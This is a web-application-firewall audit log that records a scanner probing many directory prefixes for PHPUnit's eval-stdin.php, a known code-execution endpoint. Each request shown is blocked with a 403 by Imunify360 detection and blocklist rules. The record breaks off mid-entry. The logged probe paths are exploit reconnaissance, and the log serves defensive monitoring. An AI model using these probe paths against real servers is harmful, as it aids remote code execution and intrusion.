Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/laravel/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKm0wu1RSkptiiNIX1KwAAAI4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKm0wu1RSkptiiNIX1KwAAAI4"]
Action: Intercepted (phase 2)
Stopwatch: 1789282971514130 60337 (- - -)
Stopwatch2: 1789282971514130 60337; combined=59037, p1=355, p2=58395, p3=0, p4=0, p5=286, sr=161, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa49d31b-Z--
--9f514a44-A--
[13/Sep/2026:10:02:54.015098 +0300] aqZKnUwu1RSkptiiNIX1LAAAAI0 106.51.22.217 33396 127.0.0.1 7081
--9f514a44-B--
GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--9f514a44-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9f514a44-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/www/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/www/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKnUwu1RSkptiiNIX1LAAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKnUwu1RSkptiiNIX1LAAAAI0"]
Action: Intercepted (phase 2)
Stopwatch: 1789282973957792 57371 (- - -)
Stopwatch2: 1789282973957792 57371; combined=55646, p1=448, p2=54840, p3=0, p4=0, p5=358, sr=175, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9f514a44-Z--
--096c0e5b-A--
[13/Sep/2026:10:02:56.433345 +0300] aqZKoGM7dE9KgIIOpQhtuQAAAM8 106.51.22.217 53504 127.0.0.1 7081
--096c0e5b-B--
GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--096c0e5b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--096c0e5b-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/ws/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/ws/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKoGM7dE9KgIIOpQhtuQAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKoGM7dE9KgIIOpQhtuQAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789282976375365 58031 (- - -)
Stopwatch2: 1789282976375365 58031; combined=56641, p1=316, p2=56047, p3=0, p4=0, p5=278, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--096c0e5b-Z--
--ab5fc220-A--
[13/Sep/2026:10:02:58.212379 +0300] aqZKomM7dE9KgIIOpQhtugAAAM4 106.51.22.217 53506 127.0.0.1 7081
--ab5fc220-B--
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--ab5fc220-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--ab5fc220-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/yii/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/yii/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKomM7dE9KgIIOpQhtugAAAM4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKomM7dE9KgIIOpQhtugAAAM4"]
Action: Intercepted (phase 2)
Stopwatch: 1789282978156491 55934 (- - -)
Stopwatch2: 1789282978156491 55934; combined=54577, p1=288, p2=53981, p3=0, p4=0, p5=307, sr=140, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ab5fc220-Z--
--abc5e663-A--
[13/Sep/2026:10:03:00.513290 +0300] aqZKpEwu1RSkptiiNIX1LQAAAIc 106.51.22.217 53514 127.0.0.1 7081
--abc5e663-B--
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--abc5e663-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--abc5e663-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/zend/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/zend/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKpEwu1RSkptiiNIX1LQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKpEwu1RSkptiiNIX1LQAAAIc"]
Action: Intercepted (phase 2)
Stopwatch: 1789282980451529 61832 (- - -)
Stopwatch2: 1789282980451529 61832; combined=59854, p1=1573, p2=57968, p3=0, p4=0, p5=312, sr=1266, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--abc5e663-Z--
--f7a0ed64-A--
[13/Sep/2026:10:03:03.057257 +0300] aqZKpmM7dE9KgIIOpQhtuwAAAMk 106.51.22.217 53524 127.0.0.1 7081
--f7a0ed64-B--
GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--f7a0ed64-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f7a0ed64-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/ws/ec/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/ws/ec/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKpmM7dE9KgIIOpQhtuwAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKpmM7dE9KgIIOpQhtuwAAAMk"]
Action: Intercepted (phase 2)
Stopwatch: 1789282982999335 58013 (- - -)
Stopwatch2: 1789282982999335 58013; combined=56575, p1=308, p2=55974, p3=0, p4=0, p5=292, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f7a0ed64-Z--
--242fe22f-A--
[13/Sep/2026:10:03:05.478273 +0300] aqZKqUwu1RSkptiiNIX1LgAAAJI 106.51.22.217 53540 127.0.0.1 7081
--242fe22f-B--
GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--242fe22f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--242fe22f-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/v2/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/v2/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKqUwu1RSkptiiNIX1LgAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKqUwu1RSkptiiNIX1LgAAAJI"]
Action: Intercepted (phase 2)
Stopwatch: 1789282985415816 62500 (- - -)
Stopwatch2: 1789282985415816 62500; combined=61177, p1=345, p2=60537, p3=0, p4=0, p5=294, sr=164, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--242fe22f-Z--
--8f671043-A--
[13/Sep/2026:10:03:07.900756 +0300] aqZKq0wu1RSkptiiNIX1LwAAAIs 106.51.22.217 39264 127.0.0.1 7081
--8f671043-B--
GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--8f671043-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--8f671043-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/tests/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/tests/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKq0wu1RSkptiiNIX1LwAAAIs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKq0wu1RSkptiiNIX1LwAAAIs"]
Action: Intercepted (phase 2)
Stopwatch: 1789282987825061 75795 (- - -)
Stopwatch2: 1789282987825061 75795; combined=61717, p1=3627, p2=57693, p3=0, p4=0, p5=396, sr=128, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8f671043-Z--
--4c93b673-A--
[13/Sep/2026:10:03:09.972995 +0300] aqZKrWM7dE9KgIIOpQhtvAAAANc 106.51.22.217 39272 127.0.0.1 7081
--4c93b673-B--
GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--4c93b673-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4c93b673-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/test/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/test/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKrWM7dE9KgIIOpQhtvAAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKrWM7dE9KgIIOpQhtvAAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789282989910303 62767 (- - -)
Stopwatch2: 1789282989910303 62767; combined=58176, p1=1236, p2=56503, p3=0, p4=0, p5=436, sr=952, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4c93b673-Z--
--f42eaa43-A--
[13/Sep/2026:10:03:12.085034 +0300] aqZKsEwu1RSkptiiNIX1MAAAAIo 106.51.22.217 39280 127.0.0.1 7081
--f42eaa43-B--
GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--f42eaa43-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
